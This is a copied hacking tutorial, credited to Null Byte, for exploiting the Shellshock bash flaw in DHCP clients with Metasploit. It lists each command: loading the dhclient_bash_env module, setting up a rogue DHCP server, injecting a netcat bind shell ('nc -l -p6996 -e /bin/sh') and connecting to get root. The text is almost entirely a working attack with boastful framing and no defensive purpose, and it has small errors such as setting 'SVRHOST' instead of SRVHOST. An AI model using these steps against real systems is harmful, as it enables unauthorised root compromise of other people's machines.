Shellschock Bash Vuln - How TO

Found Here: http://null-byte.wonderhowto.com/how-to/hack-like-pro-hack-shellshock-vulnerability-0157651/


Step 1: Start Metasploit

Let's begin, of course, by firing up Kali Linux and starting Metasploit. You should be greeted by a screen similar to the following one.



Step 2: Update Metasploit

Since this is a new Meatsploit module, it is not in your Metasploit Framework when you downloaded Kali, so we need to update Metasploit. Let's open a terminal and type:

kali > msfupdate



This might take awhile, so be patient.
Step 3: Find the Exploit

Now that we updated our Metasploit and presumably downloaded the new Shellshock modules, let's find this new exploit. In the Metasploit framework, type:

msf > search shellshock



As we can see, Metasploit found the auxiliary module for attacking the DHCP client using the Shellshock vulnerability.

Let's now load that module by typing:

msf > use auxiliary/server/dhclient/dhclient_bash_env

Now, let's type info to get more information on this module.

msf > info



We can see in the screenshot above each of the various options for this module and some basic information about it. The key parameters are CMD, SRVHOST, and NETMASK.
Step 4: Set Up the Module Parameters

Now, let's show options.

msf > show options



First, let's set the DHCP server IP. This is the SRVHOST parameter.

msf > set SVRHOST 192.168.131.254



Next, let's set the code that we want to inject through the BASH shell. Although, this module comes with a netcat command by default, let's change it slightly with a command that I have found gives us better and more reliable results.

msf > set CMD /bin/nc -l -p6996 -e /bin/sh



Lastly, let's set the NETMASK.

msf > set NETMASK 255.255.255.0



Finally, let's simply type "exploit" to run the module.

msf > exploit



When we do so, we simply get the message "Auxiliary module execution completed." In our case here, this simply means that we were able to run our CMD line using the Shellshock vulnerability to set up a netcat listener with root privileges on port 6996 piping out a BASH shell to whoever chooses to connect to it!
Step 5: Connect to the Exploited System

Now that we have injected netcat into the vulnerable system, we should be able to connect to that machine remotely with administrative/root privileges. We would then own that machine!

For demonstration purposes, let's connect to that system with a Windows machine remotely by connecting to the netcat listener. First, open a command prompt on the Windows system and type:

c::\nc 192.168.131.129 6996

When we do so, it will return a blank line. When we type "ifconfig":

ifconfig



It returns the network settings of the exploited Linux system. Now, to confirm our privilege level, let's type "whoami":

whoami



In this screenshot, you can see that we have not only been able to access the system remotely, but we have root privileges. We OWN this system!